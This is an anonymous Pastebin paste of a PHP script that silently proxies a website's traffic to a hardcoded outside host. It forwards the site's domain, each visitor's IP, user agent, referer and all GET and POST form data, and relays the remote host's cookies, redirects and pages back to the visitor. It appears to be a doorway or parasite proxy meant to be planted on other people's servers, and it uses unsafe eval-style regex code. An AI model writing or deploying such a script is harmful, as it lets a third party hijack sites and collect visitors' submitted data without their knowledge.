Advertisement
Guest User

Untitled

a guest
Jun 9th, 2015
408
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.84 KB | None | 0 0
  1. <?php
  2. //error_reporting(E_ALL);
  3.  
  4. //ini_set("display_errors", 1);
  5.  
  6.  
  7.  
  8. /**
  9.  
  10.  * Function that parses http headers into array
  11.  
  12.  *
  13.  
  14.  * @param $header
  15.  
  16.  * @return array
  17.  
  18.  */
  19.  
  20.  
  21.  
  22. if (!function_exists('http_parse_headers')) {
  23.  
  24.     function http_parse_headers( $header )
  25.  
  26.     {
  27.  
  28.         $retVal = array();
  29.  
  30.         $fields = explode("\n", preg_replace('/\n[\n ]+/', ' ', $header));
  31.  
  32.         foreach( $fields as $field ) {
  33.  
  34.             if( preg_match('/([^:]+): (.+)/m', $field, $match) ) {
  35.  
  36.                 $match[1] = preg_replace('/(?<=^|[   -])./e', 'strtoupper("\00")', strtolower(trim($match[1])));
  37.  
  38.                 if( isset($retVal[$match[1]]) ) {
  39.  
  40.                     $retVal[$match[1]] = array($retVal[$match[1]], $match[2]);
  41.  
  42.                 } else {
  43.  
  44.                     $retVal[$match[1]] = trim($match[2]);
  45.  
  46.                 }
  47.  
  48.             }
  49.  
  50.         }
  51.  
  52.         return $retVal;
  53.  
  54.     }
  55.  
  56. }
  57.  
  58.  
  59.  
  60. if (!function_exists('http_response_code')) {
  61.  
  62.     function http_response_code($code = NULL) {
  63.  
  64.  
  65.  
  66.         if ($code !== NULL) {
  67.  
  68.  
  69.  
  70.             switch ($code) {
  71.  
  72.                 case 200: $text = 'OK'; break;
  73.  
  74.                 case 301: $text = 'Moved Permanently'; break;
  75.  
  76.                 case 304: $text = 'Not Modified'; break;
  77.  
  78.                 case 400: $text = 'Bad Request'; break;
  79.  
  80.                 case 403: $text = 'Forbidden'; break;
  81.  
  82.                 case 404: $text = 'Not Found'; break;
  83.  
  84.                 case 408: $text = 'Request Time-out'; break;
  85.  
  86.                 case 410: $text = 'Gone'; break;
  87.  
  88.                 case 500: $text = 'Internal Server Error'; break;
  89.  
  90.                 case 502: $text = 'Bad Gateway'; break;
  91.  
  92.                 case 503: $text = 'Service Unavailable'; break;
  93.  
  94.                 case 504: $text = 'Gateway Time-out'; break;
  95.  
  96.                 default:  $text = '';
  97.  
  98.             }
  99.  
  100.  
  101.  
  102.             $protocol = (isset($_SERVER['SERVER_PROTOCOL']) ? $_SERVER['SERVER_PROTOCOL'] : 'HTTP/1.0');
  103.  
  104.  
  105.  
  106.             header($protocol . ' ' . $code . ' ' . $text);
  107.  
  108.  
  109.  
  110.         }
  111.  
  112.     }
  113.  
  114. }
  115.  
  116.  
  117.  
  118. $folder = str_replace($_SERVER['DOCUMENT_ROOT'], '', dirname($_SERVER['SCRIPT_FILENAME']));
  119.  
  120.  
  121.  
  122. $params = array('domain' => $_SERVER['HTTP_HOST'].$folder, 'ip' => getIp());
  123.  
  124.  
  125.  
  126. $uri = isset($_GET['id'])?$_GET['id']:'';
  127.  
  128.  
  129.  
  130. unset($_GET['id']);
  131.  
  132.  
  133.  
  134. $params = array_merge($params, $_GET);
  135.  
  136.  
  137.  
  138. if(!function_exists('curl_init')){
  139.  
  140.     die('no curl');
  141.  
  142. }
  143.  
  144.  
  145.  
  146. $ch = curl_init('http://nikolernus.com/'.$uri.'?'.http_build_query($params));
  147.  
  148.  
  149.  
  150. curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
  151.  
  152. curl_setopt($ch, CURLOPT_HEADER, true);
  153.  
  154. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  155.  
  156. //If we got referer, i.e. we are requesting css,js,images we put it in curl referer
  157.  
  158. if(isset($_SERVER['HTTP_REFERER']))
  159.  
  160. {
  161.  
  162.     curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_REFERER'] );
  163.  
  164. }
  165.  
  166. //Mechanism for post data transitions
  167.  
  168. if($_SERVER['REQUEST_METHOD'] == 'POST')
  169.  
  170. {
  171.  
  172.     curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($_POST));
  173.  
  174. }
  175.  
  176.  
  177.  
  178. $response = curl_exec($ch);
  179.  
  180.  
  181.  
  182. $info = curl_getinfo($ch);
  183.  
  184.  
  185.  
  186. curl_close($ch);
  187.  
  188.  
  189.  
  190. $header = substr($response, 0, $info['header_size']);
  191.  
  192.  
  193.  
  194. $headers = http_parse_headers($header);
  195.  
  196.  
  197.  
  198. http_response_code($info['http_code']);
  199.  
  200.  
  201.  
  202. if(isset($headers['Content-Type']))
  203.  
  204. {
  205.  
  206.     header('Content-Type: '.$headers['Content-Type']);
  207.  
  208. }
  209.  
  210. if(isset($headers['Set-Cookie']))
  211.  
  212. {
  213.  
  214.     header('Set-Cookie: '.$headers['Set-Cookie']);
  215.  
  216. }
  217.  
  218.  
  219.  
  220. if(isset($headers['Location'])){
  221.  
  222.     header('Location:'.$headers['Location']);
  223.  
  224. }
  225.  
  226.  
  227.  
  228. $body = substr($response, $info['header_size'], $info['size_download']);
  229.  
  230.  
  231.  
  232. if( strpos($info['content_type'] ,'text/html') === 0){
  233.  
  234.     $body = fix_dirs($body, $folder);
  235.  
  236. }
  237.  
  238.  
  239.  
  240. echo $body;
  241.  
  242.  
  243.  
  244.  
  245.  
  246. function fix_dirs($html, $dir){
  247.  
  248.  
  249.  
  250.     $dir = rtrim($dir, '/');
  251.  
  252.  
  253.  
  254.     $GLOBALS['dir'] = $dir;
  255.  
  256.  
  257.  
  258.     return preg_replace_callback("#(href=[\'\"]{1}|src=[\'\"])(.*?)([\'\"])#i", create_function('$m','
  259.  
  260.  
  261.  
  262.        $s = $m[1];
  263.  
  264.  
  265.  
  266.        if(strpos($m[2],"http://") !== 0 && strpos($m[2],"//") !== 0){
  267.  
  268.  
  269.  
  270.            $s .= $GLOBALS["dir"];
  271.  
  272.  
  273.  
  274.        }
  275.  
  276.  
  277.  
  278.        $s .= $m[2].$m[3];
  279.  
  280.  
  281.  
  282.        return $s;
  283.  
  284.  
  285.  
  286.    '), $html);
  287.  
  288.  
  289.  
  290. }
  291.  
  292.  
  293.  
  294. function getIp()
  295.  
  296. {
  297.  
  298.     if(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] != $_SERVER['SERVER_ADDR'])
  299.  
  300.     {
  301.  
  302.         return $_SERVER['REMOTE_ADDR'];
  303.  
  304.     }
  305.  
  306.  
  307.  
  308.     if(isset($_SERVER['HTTP_X_FORWARDED_FOR']) && $_SERVER['HTTP_X_FORWARDED_FOR'] != $_SERVER['SERVER_ADDR'])
  309.  
  310.     {
  311.  
  312.         return $_SERVER['HTTP_X_FORWARDED_FOR'];
  313.  
  314.     }
  315.  
  316.  
  317.  
  318.     if(isset($_SERVER['HTTP_X_REAL_IP']) && $_SERVER['HTTP_X_REAL_IP'] != $_SERVER['SERVER_ADDR'])
  319.  
  320.     {
  321.  
  322.         return $_SERVER['HTTP_X_REAL_IP'];
  323.  
  324.     }
  325.  
  326.  
  327.  
  328.     return $_SERVER['REMOTE_ADDR'];
  329.  
  330. }
  331.  
  332.  
  333.  
  334. ;return 1;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement